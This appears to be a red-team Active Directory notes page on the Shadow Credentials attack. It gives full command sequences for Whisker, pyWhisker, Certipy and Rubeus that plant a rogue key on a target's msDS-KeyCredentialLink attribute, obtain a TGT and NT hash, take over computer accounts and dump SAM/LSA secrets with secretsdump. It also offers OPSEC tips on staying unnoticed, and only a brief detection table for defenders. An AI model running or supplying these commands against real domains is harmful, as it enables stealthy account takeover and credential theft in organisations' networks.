attack-25-shadow-credentials-attack-msds-keycredentiallink.md (8112B)
1 --- 2 title: "Attack #25 β Shadow Credentials Attack (msDS-KeyCredentialLink)" 3 description: "Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute β originallyβ¦" 4 category: active-directory 5 subcategory: "ACL Abuse" 6 tags: ["active-directory", "kerberos", "adcs", "persistence", "hashing"] 7 tools: ["Impacket", "Rubeus", "Certipy", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/π‘ Attack #25 β Shadow Credentials Attack (msDS-KeyCredentialLink).md" 11 --- 12 # π‘ Attack #25 β Shadow Credentials Attack (msDS-KeyCredentialLink) 13 14 *** 15 16 ## π How It Works 17 18 Shadow Credentials is one of the **stealthiest account takeover techniques** in Active Directory. It abuses the `msDS-KeyCredentialLink` attribute β originally designed for **Windows Hello for Business (WHfB)** β to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via **PKINIT** (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password. 19 20 ### Why Shadow Credentials is Superior to Password Reset 21 22 | Aspect | Password Reset | Shadow Credentials | 23 |---|---|---| 24 | **Target notices?** | β Yes β locked out immediately | β No β original password still works | 25 | **Persistence** | One-time β target resets back | Persistent β survives password changes | 26 | **Detection** | Event 4724 β well-known | Event 5136 β less commonly monitored | 27 | **Prerequisite** | ForceChangePassword / GenericAll | GenericWrite / GenericAll / WriteDACL on target | 28 | **OPSEC** | Low | High | 29 30 ### Requirements 31 32 - **ADCS deployed** (or at least PKINIT enabled in the domain) 33 - **Domain functional level 2016+** (for `msDS-KeyCredentialLink` attribute) 34 - **Write access to target's `msDS-KeyCredentialLink`** (GenericWrite, GenericAll, or explicit write) 35 36 *** 37 38 ## βοΈ Prerequisites 39 40 | Requirement | Detail | 41 |---|---| 42 | **Write access to msDS-KeyCredentialLink** | GenericWrite, GenericAll on target user/computer | 43 | **PKINIT / ADCS in environment** | Domain must support certificate-based auth | 44 | **Domain functional level 2016+** | Attribute doesn't exist on older schemas | 45 46 *** 47 48 ## π οΈ Tools 49 50 | Tool | Platform | Notes | 51 |---|---|---| 52 | **Whisker** | Windows | Add/remove/list shadow credentials | 53 | **pyWhisker** | Linux | Python implementation | 54 | **Certipy** | Linux | `shadow auto` β automated full chain | 55 | **DSInternals** | Windows/PowerShell | `Set-DomainObject` key credential manipulation | 56 | **Rubeus** | Windows | PKINIT authentication with the shadow cert | 57 58 *** 59 60 ## π» Full Commands 61 62 ### π΄ Whisker (Windows) 63 64 ```powershell 65 # ββ Add shadow credential to target user ββββββββββββββββββββββββββββββββββββββ 66 .\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local 67 68 # Output: 69 # [*] No existing DeviceCredentials found 70 # [*] Generated key pair 71 # [*] DeviceID: a1b2c3d4-... 72 # [*] Adding KeyCredential 73 # [*] Use Rubeus with the following command: 74 # Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt 75 76 # ββ Run the outputted Rubeus command ββββββββββββββββββββββββββββββββββββββββββ 77 .\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \ 78 /password:<password_from_whisker> /ptt /getcredentials 79 80 # Output includes NT hash via U2U 81 82 # ββ List existing shadow credentials ββββββββββββββββββββββββββββββββββββββββββ 83 .\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local 84 85 # ββ Remove shadow credential (cleanup) ββββββββββββββββββββββββββββββββββββββββ 86 .\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \ 87 /domain:corp.local /dc:DC01.corp.local 88 ``` 89 90 ### π΄ pyWhisker (Linux) 91 92 ```bash 93 # ββ Add shadow credential ββββββββββββββββββββββββββββββββββββββββββββββββββββ 94 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ 95 --target targetadmin --action add --dc-ip 10.10.10.10 96 97 # Output: PFX certificate file and password 98 99 # ββ Authenticate with the certificate βββββββββββββββββββββββββββββββββββββββββ 100 certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10 101 # Returns TGT + NT hash 102 103 # ββ List ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 104 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ 105 --target targetadmin --action list --dc-ip 10.10.10.10 106 107 # ββ Remove ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 108 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ 109 --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10 110 ``` 111 112 ### π΄ Certipy Shadow Auto (Easiest β Linux) 113 114 ```bash 115 # ββ Full automated chain β add key, auth, get hash βββββββββββββββββββββββββββ 116 certipy shadow auto -u low_user@corp.local -p 'Password1' \ 117 -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local 118 119 # Output: 120 # [*] Saved PFX to 'targetadmin.pfx' 121 # [*] Got TGT for 'targetadmin@corp.local' 122 # [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe 123 ``` 124 125 ### π΄ Shadow Credentials on Computer Objects 126 127 ```bash 128 # ββ Works on computer objects too (compromise the machine) ββββββββββββββββββββ 129 certipy shadow auto -u low_user@corp.local -p 'Password1' \ 130 -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local 131 132 # Use the machine's NT hash to: 133 # - Silver Ticket to services on that machine 134 # - SecretsDump for local SAM/LSA 135 secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \ 136 -hashes :2b576acbe6bcfda7294d6bd18041b8fe 137 ``` 138 139 *** 140 141 ## π― OPSEC Tips 142 143 - **Shadow Credentials persist across password changes** β the key credential remains valid even after target changes their password 144 - **Always clean up** β remove the DeviceID from `msDS-KeyCredentialLink` after extracting the hash/TGT 145 - **Shadow Credentials fail if WHfB is not enabled** and there's no ADCS β PKINIT must be supported 146 - **Computer objects work too** β you can Shadow Credential a computer to get its machine account hash 147 - **Most OPSEC-friendly takeover** β the target user notices nothing; their password still works 148 149 *** 150 151 ## π‘οΈ Detection β Event IDs 152 153 | Event ID | Source | What to Look For | 154 |---|---|---| 155 | **5136** | Security Log (DC) | Modification of `msDS-KeyCredentialLink` attribute | 156 | **4768** | Security Log (DC) | TGT request via PKINIT (Pre-Auth Type 16) β certificate-based auth for a non-smart-card user | 157 158 *** 159 160 ## π Attack Chain Context 161 162 ``` 163 [Shadow Credentials] βββ Stealthy Account Takeover Without Password Change 164 β 165 ββββ π Write msDS-KeyCredentialLink β auth as target via PKINIT 166 ββββ π Survives password changes β persistent until key is removed 167 ββββ π» Works on users AND computers 168 ββββ π Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21) 169 ββββ π Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused 170 ``` 171 172 *** 173 174 > β **Attack #25 β Shadow Credentials complete.**